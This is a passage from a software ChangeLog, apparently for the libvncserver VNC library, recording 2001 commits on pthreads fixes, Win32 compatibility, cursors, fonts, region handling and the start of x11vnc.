8229	* Makefile, example.c, main.c, rfb.h, rfbserver.c, x11vnc.c: start
8230	x11vnc, an x0rfbserver clone
8231
82322001-11-15  dscho <dscho>
8233
8234	* example.dsp, libvncserver.dsp, libvncserver.dsw, main.c, rfb.h,
8235	rfbserver.c, sockets.c: Visual C++ / win32 compatibility
8236	reestablished
8237
82382001-11-14  dscho <dscho>
8239
8240	* Makefile, TODO, font.c: docu, warning fixed
8241
82422001-11-14  dscho <dscho>
8243
8244	* CHANGES: changes
8245
82462001-11-14  dscho <dscho>
8247
8248	* cargs.c: separated argument handling from main.c
8249
82502001-11-14  dscho <dscho>
8251
8252	* Makefile, d3des.h, example.c, fontsel.c, keysym.h, mac.c, main.c,
8253	pnmshow.c, pnmshow24.c, rfb.h, rfbproto.h, sraRegion.h, vncev.c,
8254	zippy.c: changes from Justin, zippy added
8255
82562001-11-08  dscho <dscho>
8257
8258	* main.c: gettimeofday for windows
8259
82602001-10-25  dscho <dscho>
8261
8262	* Makefile, main.c, rfbserver.c, sraRegion.c, sraRegion.h: clean ups
8263
82642001-10-19  dscho <dscho>
8265
8266	* CHANGES: changes
8267
82682001-10-18  dscho <dscho>
8269
8270	* Makefile, TODO, draw.c, main.c, rfb.h, vncev.c: add rfbDrawLine,
8271	rfbDrawPixel and vncev, an xev "lookalike"
8272
82732001-10-16  dscho <dscho>
8274
8275	* main.c: scheduleCopyRegion no longer sends frameBufferUpdates (no
8276	longer clobbers deferring)
8277
82782001-10-16  dscho <dscho>
8279
8280	* CHANGES, TODO, main.c, rfb.h, rfbserver.c: deferUpdate
8281
82822001-10-16  dscho <dscho>
8283
8284	* TODO, font.c, rfbserver.c: font errors, requestedRegion bug
8285
82862001-10-15  dscho <dscho>
8287
8288	* .gdb_history: unneccessary file
8289
82902001-10-13  dscho <dscho>
8291
8292	* font.c: INT_MAX maybe not defined
8293
82942001-10-13  dscho <dscho>
8295
8296	* TODO: todo
8297
82982001-10-13  dscho <dscho>
8299
8300	* CHANGES, Makefile, README, TODO, auth.c, bdf2c.pl,
8301	consolefont2c.pl, cursor.c, default8x16.h, draw.c, font.c,
8302	fontsel.c, keysym.h, main.c, radon.h, rfb.h, selbox.c: rfbSelectBox,
8303	consoleFonts, too many changes
8304
83052001-10-12  dscho <dscho>
8306
8307	* Makefile: changes to Makefile
8308
83092001-10-12  dscho <dscho>
8310
8311	* README, rfb.h, rfbserver.c: cleanups
8312
83132001-10-11  dscho <dscho>
8314
8315	* auth.c, corre.c, httpd.c, main.c, rfb.h, rfbserver.c, rre.c,
8316	sockets.c, sraRegion.c, tableinit24.c, tableinittctemplate.c,
8317	tight.c, zlib.c: replaced xalloc with malloc functions, udp input
8318	support (untested), fixed http
8319
83202001-10-10  dscho <dscho>
8321
8322	* CHANGES, TODO, main.c, rfb.h, rfbserver.c: copyrect corrections,
8323	fd_set in rfbNewClient, dox in rfb.h for pthreads problem
8324
83252001-10-10  dscho <dscho>
8326
8327	* Makefile, cursor.c, main.c, rfb.h, rfbserver.c, sockets.c: 
8328	pthreads corrections
8329
83302001-10-09  dscho <dscho>
8331
8332	* sockets.c: start udp
8333
83342001-10-08  dscho <dscho>
8335
8336	* Makefile, region.h, rfbserver.c: removes region.h
8337
83382001-10-07  dscho <dscho>
8339
8340	* Makefile, README, tabletrans24template.c: fixed 24bit (update was
8341	garbled)
8342
83432001-10-07  dscho <dscho>
8344
8345	* bdf2c.pl, font.c, main.c, rfb.h, rfbserver.c: font corrections,
8346	displayHook
8347
83482001-10-06  dscho <dscho>
8349
8350	* README, d3des.c, example.c, example.dsp, httpd.c, kbdptr.c,
8351	libvncserver.dsp, libvncserver.dsw, main.c, rfb.h, rfbserver.c,
8352	sockets.c, tableinitcmtemplate.c, tight.c, translate.c, vncauth.c: 
8353	WIN32 compatibility, removed kbdptr.c
8354
83552001-10-05  dscho <dscho>
8356
8357	* CHANGES, TODO, cursor.c, example.c, main.c, rfb.h, rfbserver.c: 
8358	changed cursor functions to use screen info, not cursor fixed copy
8359	rect.
8360
83612001-10-05  dscho <dscho>
8362
8363	* Makefile, bdf2c.pl, example.c, font.c, radon.h, rfb.h: extracted
8364	font routines from example
8365
83662001-10-04  dscho <dscho>
8367
8368	* CHANGES, Makefile, TODO, main.c, rfb.h, rfbserver.c: 
8369	rfbDoCopyRect/Region and rfbScheduleCopyRect/Region.
8370
83712001-10-04  dscho <dscho>
8372
8373	* rfb.h: tried to compile on Sparcs. Original cc has problems. ar
8374	isn't there.
8375
83762001-10-04  dscho <dscho>
8377
8378	* CHANGES, TODO, cursor.c, main.c, rfb.h, rfbserver.c: fixed 2
8379	pthreads issues, added noXCursor option.
8380
83812001-10-03  dscho <dscho>
8382
8383	* TODO, main.c: working on IRIX pthreads problem
8384
83852001-10-03  dscho <dscho>
8386
8387	* TODO, rfbserver.c: java viewer bug fixed
8388
83892001-10-03  dscho <dscho>
8390
8391	* CHANGES, Makefile, TODO, main.c, rfb.h, rfbserver.c, sockets.c,
8392	stats.c, tight.c: upgraded to TridiaVNC 1.2.1
8393
83942001-10-02  dscho <dscho>
8395
8396	* Makefile, TODO, cursor.c, d3des.c, main.c, rfb.h, rfbserver.c,
8397	sockets.c, translate.c, vncauth.c: no more compile warnings, pthread
8398	final(?) fixes
8399
84002001-10-02  dscho <dscho>
8401
8402	* TODO: some todo items
8403
84042001-10-02  dscho <dscho>
8405
8406	* CHANGES, cursor.c, rfb.h: implemented rfbSetCursor
8407
84082001-10-02  dscho <dscho>
8409
8410	* rfb.h: prototype for rfbSendBell
8411
84122001-10-02  dscho <dscho>
8413
8414	* CHANGES: changes
8415
84162001-10-02  dscho <dscho>
8417
8418	* pnmshow24.c, tableinit24.c, tabletrans24template.c: forgot files
8419	for 3 bpp
8420
84212001-10-02  dscho <dscho>
8422
8423	* Makefile, README, TODO, example.c, main.c, rfb.h, rfbserver.c,
8424	sockets.c, tableinitcmtemplate.c, translate.c: support for server
8425	side colour maps, fix for non-pthread, support for 3bpp
8426
84272001-10-01  dscho <dscho>
8428
8429	* TODO: have to upgrade to newest VNC sources
8430
84312001-09-29  dscho <dscho>
8432
8433	* Makefile, README, TODO, example.c, main.c, rfb.h, rfbserver.c,
8434	sockets.c: finally fixed pthreads
8435
84362001-09-29  dscho <dscho>
8437
8438	* TODO, cursor.c: nother try
8439
84402001-09-29  dscho <dscho>
8441
8442	* Makefile, cursor.c, main.c, rfb.h, rfbserver.c, sockets.c: more
8443	pthread debugging
8444
84452001-09-29  dscho <dscho>
8446
8447	* Makefile, main.c, rfb.h: cleaned up pthreads (now compiles) and
8448	rfb.h (first undefine TRUE)
8449
84502001-09-29  dscho <dscho>
8451
8452	* Makefile, README, TODO, include/X11/X.h, include/X11/Xalloca.h,
8453	include/X11/Xfuncproto.h, include/X11/Xfuncs.h, include/X11/Xmd.h,
8454	include/X11/Xos.h, include/X11/Xosdefs.h, include/X11/Xproto.h,
8455	include/X11/Xprotostr.h, include/X11/keysym.h,
8456	include/X11/keysymdef.h, include/Xserver/colormap.h,
8457	include/Xserver/cursor.h, include/Xserver/dix.h,
8458	include/Xserver/gc.h, include/Xserver/input.h,
8459	include/Xserver/misc.h, include/Xserver/miscstruct.h,
8460	include/Xserver/opaque.h, include/Xserver/os.h,
8461	include/Xserver/pixmap.h, include/Xserver/region.h,
8462	include/Xserver/regionstr.h, include/Xserver/screenint.h,
8463	include/Xserver/scrnintstr.h, include/Xserver/validate.h,
8464	include/Xserver/window.h, main.c, miregion.c, region.h, rfb.h,
8465	rfbserver.c, sraRegion.c, sraRegion.h, translate.c, xalloc.c: 
8466	dropped miregion and all the X stuff in favour of Wez' sraRegion,
8467	added dox
8468
84692001-09-28  dscho <dscho>
8470
8471	* cursor.c, rfb.h: exported rfbReverseByte
8472
84732001-09-28  dscho <dscho>
8474
8475	* cursor.c: don't send a cursor update if there is no cursor
8476
84772001-09-28  dscho <dscho>
8478
8479	* README, TODO: small changes to README (contact) and TODO
8480	(autoconf?)
8481
84822001-09-28  dscho <dscho>
8483
8484	* Makefile: libvncserver.a is not deleted by make clean
8485
84862001-09-28  dscho <dscho>
8487
8488	* example.c: unnecessary include
8489
84902001-09-28  dscho <dscho>
8491
8492	* Makefile, example.c, rfb.h: now compiles on FreeBSD
8493
84942001-09-28  dscho <dscho>
8495
8496	* Makefile: make clean now cleans mac.o pnmshow.o and example.o
8497
84982001-09-27  dscho <dscho>
8499
8500	* README, cursor.c, main.c, rfb.h, rfbserver.c: added
8501	setTranslateFunction as member of rfbScreenInfo, cursor may be NULL
8502	(no cursor).
8503
85042001-09-27  dscho <dscho>
8505
8506	* Makefile, mac.c, rfb.h: try to make OSXvnc run again.
8507
85082001-09-27  dscho <dscho>
8509
8510	* README, TODO, example.c, main.c, rfb.h: docu and cursors in
8511	examples.
8512
85132001-09-26  dscho <dscho>
8514
8515	* Makefile, README, TODO, example.c, httpd.c, main.c, pnmshow.c,
8516	rfb.h: API corrections
8517
85182001-09-26  dscho <dscho>
8519
8520	* TODO, main.c, pnmshow.c: adapted pnmshow to aligned width
8521
85222001-09-25  dscho <dscho>
8523
8524	* example.c, tabletranstemplate.c: look for align bug with odd
8525	width. Bug in vncviewer?
8526
85272001-09-25  dscho <dscho>
8528
8529	* d3des.c, d3des.h, libvncauth/Imakefile, libvncauth/Makefile,
8530	libvncauth/d3des.c, libvncauth/d3des.h, libvncauth/vncauth.c,
8531	libvncauth/vncauth.h, vncauth.c: permanently moved authorization
8532
85332001-09-25  dscho <dscho>
8534
8535	* Makefile, rfb.h, storepasswd.c: moved vncauth to libvncserver
8536
85372001-09-25  dscho <dscho>
8538
8539	* .depend: rmoved unneccessary files
8540
85412001-09-25  dscho <dscho>
8542
8543	* Makefile, TODO, cursor.c, example.c, keysym.h, main.c, pnmshow.c,
8544	region.h, rfb.h, rfbserver.c: fix cursor bug; missing keysym; fix
8545	align problem on SGI; clean up cursor.c clean up rfb.h a bit; endian
8546	issues
8547
85482001-09-24  dscho <dscho>
8549
8550	* region.h: forgot file
8551
85522001-09-24  dscho <dscho>
8553
8554	* Makefile, TODO, cursor.c, example.c, include/Xserver/os.h,
8555	main.c, miregion.c, pnmshow.c, rfb.h, rfbserver.c, sockets.c,
8556	xalloc.c: bugfix: cursor (works now without xcursor encoding)
8557
85582001-09-24  dscho <dscho>
8559
8560	* cursor.c, example.c, main.c, rfb.h, rfbserver.c: cursor changes
8561
85622001-09-23  dscho <dscho>
8563
8564	* Makefile, README, TODO, cursor.c, example.c, httpd.c, main.c,
8565	rfb.h, rfbserver.c, sockets.c, zlib.c: cleaned up warnings, cursor
8566	changes
8567
85682001-09-21  dscho <dscho>
8569
8570	* Makefile, classes/index.vnc, cursor.c, example.c, httpd.c,
8571	main.c, rfb.h: http added, prepare for cursor
8572
85732001-09-20  dscho <dscho>
8574
8575	* README: changed README at last
8576
85772001-09-13  dscho <dscho>
8578
8579	* Makefile, bdf2c.pl, example.c, radon.h: Now you can write
8580	something in addition to mouse movements ...
8581
85822001-08-14  dscho <dscho>
8583
8584	* Makefile, example.c, main.c, pnmshow.c: comments & new example:
8585	pnmshow
8586
85872001-08-14  dscho <dscho>
8588
8589	* example.c, main.c, rfb.h: now lines are drawn for the example,
8590	first steps to make clients independent.
8591
85922001-08-14  dscho <dscho>
8593
8594	* Makefile, example.c, main.c, rfb.h, rfbserver.c: hooks inserted
8595
85962001-08-01  dscho <dscho>
8597
8598	* Initial revision
8599
8600